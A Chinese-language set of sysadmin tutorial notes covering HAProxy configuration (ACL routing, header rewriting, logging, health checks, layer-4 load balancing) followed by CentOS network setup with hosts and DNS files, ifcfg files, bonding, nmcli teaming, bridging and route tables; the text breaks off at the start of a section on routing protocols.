[ header <name> ]:使用自定义的首部名称,而非“X-Forwarded-For",示例:X-client
[ if-none ] 如果没有首部才添加首部,如果有使用默认值

示例:

1
2
3
defaults
option forwardfor # 此为默认值,首部字段默认为:X-Forwarded-For
# option forwardfor except 127.0.0.0/8 header X-client # 或者自定义首部,如:X-client

web 服务器日志格式配置:

配置 web 服务器,记录负载均衡透传的客户端 IP 地址

示例:

1
2
3
4
5
6
7
8
9
# apache
LogFormat "%{X-Forwarded-For}i %a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

# nginx
$proxy_add_x_forwarded_for:包括客户端IP和中间经过的所有代理的IP
$http_x_forwarded_For:只有客户端IP

# tomcat
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="localhost_access_log" suffix=".txt" pattern="%{X-Forwarded-For}i %h %l %u %t &quot;%r&quot; %s %b" />

报文修改

在 http 模式下,基于实际需求修改客户端的请求报文与响应报文

官方文档:http://cbonte.github.io/haproxy-dconv/2.2/configuration.html#4-http-request

1
2
3
4
5
6
7
8
9
10
# 请求头添加字段
http-request add-header <name> <fmt> [ { if | unless } <condition> ]
# 请求头修改字段
http-request set-header <name> <fmt> [ { if | unless } <condition> ]
# 请求头删除字段
http-request del-header <name> [ { if | unless } <condition> ]
# 响应头添加字段
http-response add-header <name> <fmt> [ { if | unless } <condition> ]
# 响应头删除字段
http-response del-header <name> [ { if | unless } <condition> ]

fmt:http://cbonte.github.io/haproxy-dconv/2.2/configuration.html#8.2.4

注意:以上指令适用于 2.1 版本以上,2.1 版本以下的指令是 reqadd、reqdel 等

自定义日志格式

1
2
3
4
5
6
7
8
9
10
11
12
13
log global    # 开启记录日志,默认不开启
option httplog # 开启记录httplog日志格式选项,一般不建议开启,加重HAProxy负载
capture cookie <name> len <length> # 捕获请求和响应报文中的 cookie及值的长度,将之记录到日志
capture request header <name> len <length> # 捕获请求报文中指定的首部内容和长度并记录日志
capture response header <name> len <length> # 捕获响应报文中指定的内容和长度首部并记录日志

# 示例
log global
option httplog
capture request header Host len 256
capture request header User-Agent len 512
capture request header Referer len 15
capture request header X-Forwarded-For len 15

压缩功能

对响应给客户端的报文进行压缩,以节省网络带宽,但是会占用部分 CPU 性能

建议在后端服务器开启压缩功能,而非在 HAProxy 上开启压缩

1
2
3
4
5
6
7
8
9
10
11
12
compression algo <algorithm> ... # 启用http协议中的压缩机制
compression type <mime type> ... # 要压缩的文件类型

# 压缩算法<algorithm>支持下面类型
identity # debug调试使用的压缩方式
gzip # 常用的压缩方式,与各浏览器兼容较好
deflate # 有些浏览器不支持
raw-deflate # 新式的压缩方式

# 示例
compression algo gzip deflate
compression type text/html text/css text/plain

web 服务器状态监测

  • 四层:传输端口做状态监测,此为默认方式

    不断的发送 tcp 握手报文

  • 七层:指定 URI 做状态监测

    指定请求方式(默认 options),不断请求指定 URL(默认根),会在后端服务器生成大量访问日志

四层监测节省系统资源,但是不够准确,可能发生监测通过,但是网站打不开的情况,工作中更推荐使用七层监测

1
2
3
4
5
6
7
8
9
10
11
12
option httpchk # 启用七层健康性检测,对tcp和 http模式都支持
option httpchk <uri> # uri默认"/"
option httpchk <method> <uri> # method默认options,推荐设置为HEAD,节省网络流量
option httpchk <method> <uri> <version> # version默认HTTP/1.0,注意HTTP/1.1必须有Host字段

http-check expect [!] <match> <pattern> # 期望以上检查得到的响应码


# 示例
option httpchk HEAD /monitor/check.html HTTP/1.1\r\nHost:\ 10.0.0.7
http-check expect status 200
http-check expect ! rstatus ^5 # 支持正则表达式,响应码不以5开头

ACL ★★★

访问控制列表(ACL,Access Control Lists),特定过滤条件的集合

首先定义 ACL,然后调用 ACL

官方文档:http://cbonte.github.io/haproxy-dconv/2.2/configuration.html#7

ACL 配置选项

1
2
acl  <aclname>  <criterion>  [flags]  [operator]  [<value>] ...
acl 名称 匹配规范 匹配模式 具体操作符 操作对象类型
aclname

ACL 名称,严格区分大小写

criterion

定义 ACL 匹配规范,即:判断条件,以下列举的只是一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
hdr string  # 提取在一个HTTP请求报文的首部
hdr([<name> [,<occ>]]) # 完全匹配字符串,header的指定信息,<occ> 表示在多值中使用的值的出现次数
hdr_beg ([<name> [,<occ>]]) # 前缀匹配,header中指定匹配内容的begin
hdr_end ([<name> [,<occ>]]) # 后缀匹配,header中指定匹配内容end
hdr_dom ([<name> [,<occ>]]) # 域匹配,header中的domain name
hdr_dir ([<name> [,<occ>]]) # 路径匹配,header的uri路径
hdr_len ([<name> [,<occ>]]) # 长度匹配,header的长度匹配
hdr_reg ([<name> [,<occ>]]) # 正则表达式匹配,自定义表达式(regex)模糊匹配
hdr_sub ([<name> [,<occ>]]) # 子串匹配,header中的uri模糊匹配
base : string
base : exact string match
base_beg : prefix match
base_dir : subdir match
base_dom : domain match
base_end : suffix match
base_len : length match
base_reg : regex match
base_sub : substring match
path : string
path : exact string match
path_beg : prefix match # 请求的URL开头,如/static、/images、/img、/css
path_end : suffix match # 请求的URL中资源的结尾,如 .gif .png .css .js .jpg .jpeg
path_dom : domain match
path_dir : subdir match
path_len : length match
path_reg : regex match
path_sub : substring match
url : string
url :exact string match
url_beg : prefix match
url_dir : subdir match
url_dom : domain match
url_end : suffix match
url_len : length match
url_reg : regex match
url_sub : substring match
dst # 目标ip
dst_port # 目标port
src # 源IP
src_port # 源PORT
flags
1
2
3
4
5
6
7
-i : 不区分大小写
-f : 从文件中加载pattern匹配方法
-m : 使用指定的pattern匹配方法
-n : 不做DNS解析
-M : load the file pointed by -f like a map file.
-u : 禁止acl重名,否则多个同名ACL匹配或关系
-- : force end of flags. Useful when a string looks like one of the flags.

-f、-m 可选的 pattern 匹配方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
- "found" : only check if the requested sample could be found in the stream,
but do not compare it against any pattern. It is recommended not
to pass any pattern to avoid confusion. This matching method is
particularly useful to detect presence of certain contents such
as headers, cookies, etc... even if they are empty and without
comparing them to anything nor counting them.

- "bool" : check the value as a boolean. It can only be applied to fetches
which return a boolean or integer value, and takes no pattern.
Value zero or false does not match, all other values do match.

- "int" : match the value as an integer. It can be used with integer and
boolean samples. Boolean false is integer 0, true is integer 1.

- "ip" : match the value as an IPv4 or IPv6 address. It is compatible
with IP address samples only, so it is implied and never needed.

- "bin" : match the contents against a hexadecimal string representing a
binary sequence. This may be used with binary or string samples.

- "len" : match the sample's length as an integer. This may be used with
binary or string samples.

- "str" : exact match : match the contents against a string. This may be
used with binary or string samples.

- "sub" : substring match : check that the contents contain at least one of
the provided string patterns. This may be used with binary or
string samples.

- "reg" : regex match : match the contents against a list of regular
expressions. This may be used with binary or string samples.

- "beg" : prefix match : check that the contents begin like the provided
string patterns. This may be used with binary or string samples.

- "end" : suffix match : check that the contents end like the provided
string patterns. This may be used with binary or string samples.

- "dir" : subdir match : check that a slash-delimited portion of the
contents exactly matches one of the provided string patterns.
This may be used with binary or string samples.

- "dom" : domain match : check that a dot-delimited portion of the contents
exactly match one of the provided string patterns. This may be
used with binary or string samples.
operator

ACL 操作符

整数比较:eq、ge、gt、le、lt

字符比较:

1
2
3
4
5
6
- exact match (-m str)   # 字符串必须完全匹配模式
- substring match (-m sub) # 在提取的字符串中查找模式,如果其中任何一个被发现,ACL将匹配
- prefix match (-m beg) # 在提取的字符串首部中查找模式,如果其中任何一个被发现,ACL将匹配
- suffix match (-m end) # 将模式与提取字符串的尾部进行比较,如果其中任何一个匹配,则ACL进行匹配
- subdir match (-m dir) # 查看提取出来的用斜线分隔(“/")的字符串,如其中任一个匹配,则ACL进行匹配
- domain match (-m dom) # 查找提取的用点(“.")分隔字符串,如果其中任何一个匹配,则ACL进行匹配
value

value 类型

1
2
3
4
5
6
7
8
9
10
11
12
- Boolean       # 布尔值
- integer or integer range # 整数或整数范围,比如用于匹配端口范围
- IP address / network # IP地址或IP范围, 192.168.0.1 ,192.168.0.1/24
- string--> www.magedu.com
exact # 精确比较
substring # 子串
suffix # 后缀比较
prefix # 前缀比较
subdir # 路径, /wp-includes/js/jquery/jquery.js
domain # 域名,www.magedu.com
- regular expression # 正则表达式
- hex block # 16进制

多个 ACL 的组合调用方式

多个 ACL 的逻辑处理关系:

1
2
3
4
5
6
7
8
# 默认
# or 或 ||
否定 # !

# 示例
if valid_src valid_port # 与,ACL中A和B都要满足为true
if invalid_src || invalid_port # 或,ACL中A或者B满足一个为true
if ! invalid_src

ACL 示例-域名匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# cat /etc/haproxy/conf.d/test.cfg
frontend magedu_http_port
bind 10.0.0.7:80
mode http
balance roundrobin
log global
option httplog
###################### acl setting ###############################
acl pc_domain hdr_dom(host) -i www.magedu.org
acl mobile_domain hdr_dom(host) -i mobile.magedu.org
###################### acl hosts #################################
use_backend pc_hosts if pc_domain # use_backend 调用后端服务器组
use_backend mobile_hosts if mobile_domain
default_backend pc_hosts # 所有ACL都不匹配,则使用的默认backend

###################### backend hosts #############################
backend mobile_hosts
mode http
server web1 10.0.0.17 check inter 2000 fall 3 rise 5
backend pc_hosts
mode http
server web2 10.0.0.27:80 check inter 2000 fall 3 rise 5

ACL 示例-基于源 IP 或子网调度访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# cat /etc/haproxy/conf.d/test.cfg
frontend magedu_http_port
bind 10.0.0.7:80
mode http
balance roundrobin
log global
option httplog
###################### acl setting ###############################
acl pc_domain hdr_dom(host) -i www.magedu.org
acl mobile_domain hdr_dom(host) -i mobile.magedu.org
acl ip_range_test src 172.18.0.0/16 10.0.0.6 # 基于源地址的ACL,定义多个ACL的顺序无关
acl ip_range_test2 src 172.18.0.200
###################### acl hosts #################################
use_backend pc_hosts if ip_range_test #放在前面的ACL规则优先生效,引用ACL时,严格的ACL应放在前面
use_backend pc_hosts if pc_domain
use_backend mobile_hosts if mobile_domain
default_backend pc_hosts

###################### backend hosts #############################
backend mobile_hosts
mode http
server web1 10.0.0.17 check inter 2000 fall 3 rise 5
backend pc_hosts
mode http
server web2 10.0.0.27:80 check inter 2000 fall 3 rise 5

ACL 示例-基于源地址的访问控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
listen web_host
bind 10.0.0.7:80
mode http
balance roundrobin
log global
option httplog
###################### acl setting ###############################
acl acl_deny_src src 10.0.0.6 192.168.0.0/24
###################### acl hosts #################################
http-request deny if acl_deny_src # http-request deny 拒绝请求,返回403
#block if acl_deny_src #2.1版本后,不再支持block
#http-request allow
default_backend default_web

###################### backend hosts #############################
backend magedu_host
mode http
server web1 10.0.0.17 check inter 2000 fall 3 rise 5
backend default_web
mode http
server web1 10.0.0.27:80 check inter 2000 fall 3 rise 5

ACL 示例-匹配浏览器类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# cat /etc/haproxy/conf.d/test.cfg
frontend magedu_http_port
bind 10.0.0.7:80
mode http
balance roundrobin
log global
option httplog
###################### acl setting ###############################
acl acl_user_agent hdr_sub(User-Agent) -i curl wget # 浏览器是curl和wget
acl acl_user_agent_ab hdr_sub(User-Agent) -i ApacheBench # 浏览器是ApacheBench
###################### acl hosts #################################
redirect prefix http://www.baidu.com if acl_user_agent # 302 临时重定向至新URL
http-request deny if acl_user_agent_ab # 拒绝ab
default_backend pc_hosts

###################### backend hosts #############################
backend mobile_hosts
mode http
server web1 10.0.0.17 check inter 2000 fall 3 rise 5
backend pc_hosts
mode http
server web2 10.0.0.27:80 check inter 2000 fall 3 rise 5

ACL 示例-基于文件后缀名实现动静分离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# cat /etc/haproxy/conf.d/test.cfg
frontend magedu_http_port
bind 10.0.0.7:80
mode http
balance roundrobin
log global
option httplog
###################### acl setting ###############################
acl acl_static path_end -i .jpg .jpeg .png .gif .css .js .html # 静
acl acl_php path_end -i .php # 动
###################### acl hosts #################################
use_backend mobile_hosts if acl_static
use_backend app_hosts if acl_php
default_backend pc_hosts

###################### backend hosts #############################
backend mobile_hosts
mode http
server web1 10.0.0.17 check inter 2000 fall 3 rise 5
backend pc_hosts
mode http
server web2 10.0.0.27:80 check inter 2000 fall 3 rise 5
backend app_hosts
mode http
server web2 10.0.0.27:80 check inter 2000 fall 3 rise 5

ACL 示例-匹配访问路径实现动静分离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# cat /etc/haproxy/conf.d/test.cfg
frontend magedu_http_port
bind 10.0.0.7:80
mode http
balance roundrobin
log global
option httplog
###################### acl setting ###############################
acl acl_static path_beg -i /static /images /javascript # 路径起始
acl acl_static path_end -i .jpg .jpeg .png .gif .css .js .html .htm # 路径结尾
acl acl_app path_beg -i /api
###################### acl hosts #################################
use_backend static_hosts if acl_static
use_backend app_hosts if acl_app
default_backend app_hosts

###################### backend hosts #############################
backend static_hosts
mode http
server web1 10.0.0.17 check inter 2000 fall 3 rise 5
backend app_hosts
mode http
server web2 10.0.0.27:80 check inter 2000 fall 3 rise 5

ACL 示例-预定义 ACL 使用

官方文档:http://cbonte.github.io/haproxy-dconv/2.2/configuration.html#7.4

ACL name Equivalent to Usage
FALSE always_false never match
HTTP req_proto_http match if protocol is valid HTTP
HTTP_1.0 req_ver 1.0 match HTTP version 1.0
HTTP_1.1 req_ver 1.1 match HTTP version 1.1
HTTP_CONTENT hdr_val(content-length) gt 0 match an existing content-length
HTTP_URL_ABS url_reg ^[^/:]*:// match absolute URL with scheme
HTTP_URL_SLASH url_beg / match URL beginning with “/“
HTTP_URL_STAR url * match URL equal to “*“
LOCALHOST src 127.0.0.1/8 match connection from local host
METH_CONNECT method CONNECT match HTTP CONNECT method
METH_DELETE method DELETE match HTTP DELETE method
METH_GET method GET HEAD match HTTP GET or HEAD method
METH_HEAD method HEAD match HTTP HEAD method
METH_OPTIONS method OPTIONS match HTTP OPTIONS method
METH_POST method POST match HTTP POST method
METH_PUT method PUT match HTTP PUT method
METH_TRACE method TRACE match HTTP TRACE method
RDP_COOKIE req_rdp_cookie_cnt gt 0 match presence of an RDP cookie
REQ_CONTENT req_len gt 0 match data in the request buffer
TRUE always_true always match
WAIT_END wait_end wait for end of content analysis

示例:

1
http-request deny if METH_TRACE HTTP_1.1  # 引用预定义的ACL,多个ACL默认为与关系

自定义 HAProxy 错误界面

1
2
3
4
5
errorfile <code> <file>  # 自定义错误页
<code> # HTTP status code.支持200, 400, 403, 405, 408, 425, 429, 500, 502,503,504
<file> # 包含完整HTTP响应头的错误页文件的绝对路径。 建议后缀".http",以和一般的html文件相区分

errorloc <code> <url> # 错误页面重定向

示例:

1
2
3
4
5
6
defaults
...
errorfile 400 /etc/haproxy/errorfiles/400badreq.http
errorfile 403 /etc/haproxy/errorfiles/403forbid.http
# errorfile 503 /etc/haproxy/errorfiles/503sorry.http
errorloc 503 http://www.magedu.com/error_pages/503.html # 重定向

HAProxy 四层负载

问题: 后端服务器和 haproxy 还是和客户端建立三次握手?

答:HAProxy,因为 HAProxy 是伪四层,LVS 是真四层,不过,即使是伪四层,四层负载也比七层代理性能要高

四层负载示例:

注意:如果使用 frontend 和 backend,一定在 frontend 和 backend 段中都指定 mode tcp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 对MySQL服务实现四层负载
listen magedu_mysql
bind 10.0.0.7:3306
mode tcp
balance leastconn
server mysql1 10.0.0.17:3306 check
server mysql2 10.0.0.27:3306 check # 如果不写端口号,可以转发,但无法check状态

# 或者使用frontend和backend实现
frontend mysql
bind :3306
mode tcp # 必须指定tcp模式
default_backend mysqlsrvs
backend mysqlsrvs
mode tcp # 必须指定tcp模式
balance leastconn
server mysql1 10.0.0.17:3306
server mysql2 10.0.0.27:3306
1
2
3
# ACL示例-四层访问控制
acl invalid_src src 192.168.1.0/24 10.0.0.8 # 定义acl
tcp-request connection reject if invalid_src # tcp-request,走的是四层的拒绝

HAProxy https 实现

haproxy 可以实现 https 的证书安全,但基于性能考虑,生产中证书都是在后端服务器比如 nginx 上实现,在 HAProxy 上采用四层负载,监听 ip:443,然后直接转发,让后端服务器去处理 https 证书

本章重点总结

  • HAProxy 调度算法
  • 动静分离与客户端源 IP 透传
  • ACL 使用与报文修改
  • 服务器动态下线
  • 编写 shell 脚本,实现能够基于参数传递 Real Server 服务器 IP,并实现将其从多个 HAProxy 进程下线与上线

基本配置

将 Linux 主机接入到网络,需要配置网络相关设置。一般包括如下内容:

1
2
3
4
5
6
7
- 主机名
- IP/netmask
- 路由:默认网关
- DNS服务器
- 主DNS服务器
- 次DNS服务器
- 第三个DNS服务器

命令修改的配置一般都是临时的,重启机器就失效了,如果要让配置更改永久生效,需要将配置更改写入到相关的配置文件中

相关配置文件

配置当前主机的主机名

永久修改:

1
2
3
4
5
6
#centos6 之前版本
/etc/sysconfig/network
HOSTNAME=
#centos7 以后版 使用 hostnametcl set-hostname xxx 命令 或者修改文件
/etc/hostname
HOSTNAME

本地主机名数据库和 IP 地址的映射

优先级高于 DNS

1
2
3
4
5
6
7
/etc/hosts

# 修改hostname后一定要修改hosts文件,保证本机主机名会解析到127.0.0.1
127.0.0.1 本机主机名

#ip 主机名 别名
10.0.1.1 k8s-master1.ljk.cn master1

生产中,因为 ip 的不确定性,所以局域网中主机间通信不依赖 ip,而是依赖主机名,具体实现有两种方法:

  1. 局域网中的主机不多:所有主机共同维护一份 hosts,记录每个 ip 和主机名之间的解析关系
  2. 局域网中的主机很多:搭建 DNS 服务

DNS 域名解析

/etc/resolv.conf

1
2
3
4
nameserver DNS_SERVER_IP1
nameserver DNS_SERVER_IP2
nameserver DNS_SERVER_IP3
search DOMAIN

nmcli 会将配置的 DNS 写入到这个文件,但是不管 nmcli 给 connection 有没有配置 DNS 或是配置的什么,最终解析域名还是以这个文件中的 DNS 为准,所以建议直接修改这个文件。

search DOMAIN是当域名无法 DNS 解析时,会将 DOMAIN 加到域名后面再尝试进行解析,例如:

1
2
3
4
5
6
7
8
[root@centos7 ~]#cat /etc/resolv.conf
# Generated by NetworkManager
search lujinkai.cn
nameserver 180.76.76.76
[root@centos7 ~]#ping blog
PING blog.lujinkai.cn (47.105.171.233) 56(84) bytes of data.
64 bytes from 47.105.171.233 (47.105.171.233): icmp_seq=1 ttl=128 time=24.0 ms
64 bytes from 47.105.171.233 (47.105.171.233): icmp_seq=2 ttl=128 time=23.5 ms

修改/etc/host 和 DNS 的优先级

/etc/nsswitch.conf

1
hosts:      files dns myhostname

路由相关的配置文件

新建文件 /etc/sysconfig/network-scripts/route-IFACE

1
2
3
4
5
6
7
8
两种风格:
(1) TARGET via GW
如:10.0.0.0/8 via 172.16.0.1

(2) 每三行定义一条路由
ADDRESS#=TARGET
NETMASK#=mask
GATEWAY#=GW

不推荐直接修改配置文件,推荐使用 nmcli:

1
2
3
4
5
6
# 添加一条路由: 0.0.0.0 via 10.0.0.8
[root@centos8 ~]$nmcli connection modify eth0 ipv4.addresses 0.0.0.0 ipv4.gateway 10.0.0.8
[root@centos8 network-scripts]$route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.0.0.8 0.0.0.0 UG 100 0 0 eth0

网卡相关配置文件

修改网卡设备名

网卡组成格式:

1
2
3
4
5
6
7
en: Ethernet 有线局域网
wl: wlan 无线局域网
ww: wwan无线广域网
o<index>: 集成设备的设备索引号
s<slot>: 扩展槽的索引号
x<MAC>: 基于MAC地址的命名
p<bus>s<slot>: enp2s1

CentOS6 之前网卡的默认命名方式 eth0、eth1、eth2。。。从 CentOS/RHEL7 起,可预见的命名规则变成了默认。这一规则,接口名称被自动基于固件,拓扑结构和位置信息来确定。现在,即使添加或移除网络设备,接口名称仍然保持固定,而无需重新枚举,和坏掉的硬件可以无缝替换。

修改 CentOS7、8 的网卡设备名为 CentOS6 形式:

  1. 编辑/etc/default/grub 配置文件,给 GRUB_CMDLINE_LINUX 选项添加 net.ifnames=0 字段,如果是戴尔的机器,还需要再加 biosdevname=0

  2. 为 grub2 生成其配置文件:grub2-mkconfig -o /etc/grub2.cfg

    如果是 ubuntu:sudo grub-mkconfig -o /boot/grub/grub.cfg

静态指定 IP

/etc/sysconfig/network-scripts下新建文件

1
2
3
4
5
6
7
8
9
NAME=eth0
DEVICE=eth0
BOOTPROTO=static
IPADDR=10.0.0.6
PREFIX=24 # 子网掩码
GATEWAY=10.0.0.2 # 网关,也就是路由器
DNS1=223.6.6.6
DNS2=180.76.76.76
ONBOOT=yes

动态分配 IP

也是在/etc/sysconfig/network-scripts下新建文件

1
2
3
4
DEVICE=eth0
NAME=eth0
BOOTPROTO=dhcp
ONBOOT=yes

网卡别名

还是在/etc/sysconfig/network-scripts下新建文件,网卡别名必须使用静态地址

1
2
3
DEVICE=eth0:1
IPADDR=11.0.0.6
PREFIX=8

修改完后 service network restart重启服务即可

以上是 CentOS6 配置网卡的方式,CentOS7、8 不推荐手动修改文件,推荐使用 nmcli 命令自动生成配置文件。

多网卡

将多块网卡绑定同一 IP 地址对外提供服务,可以实现高可用或者负载均衡。直接给两块网卡设置同一 IP 地址是不可以的。通过 Bonding 或 Teaming,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的 MAC 地址。

Bonding

共 7 种模式,0-6mode:

0:轮询、1:活动-备份、3:广播

说明:active-backup、balance-tlb 和 balance-alb 模式不需要交换机的任何特殊配置。其他绑定模式需要配置交换机以便整合链接。如:Cisco 交换机需要在模式 0、2 和 3 中使用 EtherChannel,但在模式 4 中需要 LACP 和 EtherChannel。

实现 bonding 模式 1:

创建 bonding 设备的配置文件/etc/sysconfig/network-scripts/ifcfg-bond0:

1
2
3
4
5
6
7
NAME=bond0
TYPE=bond
DEVICE=bond0
BOOTPROTO=none
IPADDR=10.0.0.100
PREFIX=8
BONDING_OPTS="mode=1 miimon=100"

修改两个 eth0 和 eth1 两个网卡的配置

1
2
3
4
5
6
NAME=eth0
DEVICE=eth0
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes
1
2
3
4
5
6
NAME=eth1
DEVICE=eth1
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes

查看 bond0 状态:/proc/net/bonding/bond0

删除 bond0:

1
2
ifconfig bond0 down
rmmod bonding

Teaming

从 CentOS7 开始,不推荐使用 bonding,推荐使用网络组,网络组提供更好的性能和扩展性。网络组由内核驱动和 teamd 守护进程实现。

网络组也有多种模式:broadcast、roundrobin、activebackup、loadbalance、lacp (implements the 802.3ad Link Aggregation Control Protocol)

网络组特点:

  • 启动网络组接口不会自动启动网络组中的 port 接口
  • 启动网络组接口中的 port 接口总会自动启动网络组接口
  • 禁用网络组接口会自动禁用网络组中的 port 接口
  • 没有 port 接口的网络组接口可以启动静态 IP 连接
  • 启用 DHCP 连接时,没有 port 接口的网络组会等待 port 接口的加入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 创建网络组接口,虽然使用connection创建,但好像使用device来创建更符合逻辑
nmcli con add type team con-name CNAME ifname INAME [config JSON]
CNAME 连接名
INAME 接口名,也随便写。其他连接ifname是指定关联的物理网卡接口,而网络组是软件,所以这里的ifname不是指定,是定义
JSON 指定runner方式,格式:'{"runner": {"name": "METHOD"}}'
METHOD 可以是broadcast, roundrobin, activebackup, loadbalance, lacp

# 创建port接口
nmcli con add type team-slave con-name CNAME ifname INAME master TEAM
CNAME 连接名,连接名若不指定,默认为team-slave-IFACE
INAME 网络接口名
TEAM 网络组接口名

# 断开和启动
nmcli dev dis INAME
nmcli con up CNAME
INAME 设备名 CNAME 网络组接口名或port接口

范例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# 添加网络组接口
[root@centos8 ~]# nmcli con add type team con-name con-team0 ifname if-team0 config '{"runner":{"name": "loadbalance"}}' ipv4.addresses 10.0.0.88/24 ipv4.method manual
Connection 'con-team0' (6a08e7d5-473e-4bed-bc6d-2065efc296c4) successfully added.
[root@centos8 ~]# nmcli device
DEVICE TYPE STATE CONNECTION
eth0 ethernet connected eth0
eth1 ethernet connected eth1
eth2 ethernet connected eth2
eth3 ethernet connected eth3
if-team0 team connected con-team0
lo loopback unmanaged --

# 给eth0、eth1、eth2三个网卡接口添加连接,并加入到网络组
[root@centos8 ~]# nmcli con add con-name team0-eth1 type team-slave ifname eth1 master if-team0
Connection 'team0-eth1' (66aad47b-4d03-49ef-bcc7-d628f77f3256) successfully added.
[root@centos8 ~]# nmcli con add con-name team0-eth2 type team-slave ifname eth2 master if-team0
Connection 'team0-eth2' (175ea1cb-05a8-4f97-b756-eae6ec844a43) successfully added.
[root@centos8 ~]# nmcli con add con-name team0-eth3 type team-slave ifname eth3 master if-team0
Connection 'team0-eth3' (d021a567-5c2c-4528-acdb-e01f25d80988) successfully added.
# 看一下连接状态,新创建的连接还没有激活
[root@centos8 ~]# nmcli connection
NAME UUID TYPE DEVICE
eth0 d9c122c4-1861-45f3-826f-a1fff455543c ethernet eth0
eth1 8c913f0c-de22-4fa9-a153-9de53621de5a ethernet eth1
eth2 0ee56953-0b62-4181-9987-fb09da4dacd9 ethernet eth2
eth3 8028cae7-39b5-4656-8ad8-e82b1adf0025 ethernet eth3
con-team0 6a08e7d5-473e-4bed-bc6d-2065efc296c4 team if-team0
team0-eth1 66aad47b-4d03-49ef-bcc7-d628f77f3256 ethernet --
team0-eth2 175ea1cb-05a8-4f97-b756-eae6ec844a43 ethernet --
team0-eth3 d021a567-5c2c-4528-acdb-e01f25d80988 ethernet --
# 看一下网络组的状态,组内的连接都还没启动
[root@centos8 ~]# teamdctl if-team0 state
setup:
runner: loadbalance

# 一个网卡接口可以关联多个连接,但同时只能有一个活跃,切换加入了网络组的连接为活跃状态
[root@centos8 ~]# nmcli connection up team0-eth1
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/14)
[root@centos8 ~]# nmcli connection up team0-eth2
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/15)
[root@centos8 ~]# nmcli connection up team0-eth3
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/16)
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/16)

# 看一下网络组的状态,都启动了
[root@centos8 ~]# teamdctl if-team0 state
setup:
runner: loadbalance
ports:
eth1
link watches:
link summary: up
instance[link_watch_0]:
name: ethtool
link: up
down count: 0
eth2
link watches:
link summary: up
instance[link_watch_0]:
name: ethtool
link: up
down count: 0
eth3
link watches:
link summary: up
instance[link_watch_0]:
name: ethtool
link: up
down count: 0

网桥

网桥和交换机都有若干网络接口,交换机网口更多,但两者实现的功能是相同的,都是把这些若干网络接口“连接”起来,在数据链路层对报文进行互相转发,使得连接网口的设备之间能够通信。

“连接”网口并实现报文互相转发的技术就叫桥接,物理的网桥和交换机(以下简称网桥)的网口数量是固定的,而软件模拟的网桥的网口数量是不固定的,因为软件模拟的网桥的网口既可以指定物理网口,也可以指定虚拟网口,物理网口对外连接交换机,虚拟网口对内连接虚拟机。

例如:一台服务器有 4 个网口(可能是四张网卡,每张一个网口,也可能是一张网卡有四个网口)、系统中安装了 5 个虚拟机。使用软件网桥把 2 个物理网口和 3 个虚拟网口桥接在一起,每个虚拟网口连接一个虚拟机。这样,从这两个网口中过来的报文只能转发到这个三个虚拟机中,不会影响到其他虚拟机。

实验一:环境 vmware,三台虚拟机 A、B、C,A 是仅主机模式,C 是 nat 模式,所以 AC 之间不能通信,B 配置两张网卡,一张仅主机,一张 nat,所以 B 既能和 A 通信,也能和 C 通信,所以让 B 充当网桥,把 A 和 C 桥接在一起,从而实现 AC 通信。实现方式可以安装 bridge-utils,也可以使用 nmcli 命令。

1

路由记录了整个网络通讯的路径,路由如果出错,网络肯定不通

路由表主要构成:

1
2
3
4
5
6
[root@centos7 network-scripts]#route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.0.0.2 0.0.0.0 UG 100 0 0 ens33
10.0.0.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
10.0.0.0 0.0.0.0 255.255.255.0 U 101 0 0 ens37
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
- Destination # 目标网络的IP,需要配合Genmask
- Gateway # 网关
# 目标网络直达,gateway是0.0.0.0,通过广播通信
# 目标网络非直达,gateway是相邻(下一跳)路由器的靠近本机的接口IP地址
# 要和本机在同一网段,不同网段是不能通信的
# 要先有一条能到达网关地址的路由
- Genmask # 目标网络的子网掩码
# 0.0.0.0/0 表示所有未知网络,又称为默认路由,优先级最低,我称之为兜底路由
# x.x.x.x/32 是主机路由,一般不写这么具体
- Flags # 路由标记
# U:该路由可以使用
# G:该路由是到一个网关(路由器). 若没有此标志, 说明目的地址为直接连接的
# H:该路由是到一个主机,如果没有该标志, 说明该路由是到一个网络
# D:该路由是有重定向报文创建的
# M:该路由已被重定向报文修改
- Metric # 路由开销,值越小,路由记录的优先级最高
- Ref #
- Use Iface # 网卡接口

配置动态路由

route 命令可以添加路由,可是靠手动一条一条的添加太麻烦了,大型的网络环境中,路由器中的路由不是手动添加的,而是通过路由协议自动生成的。

路由协议:

1
2
3
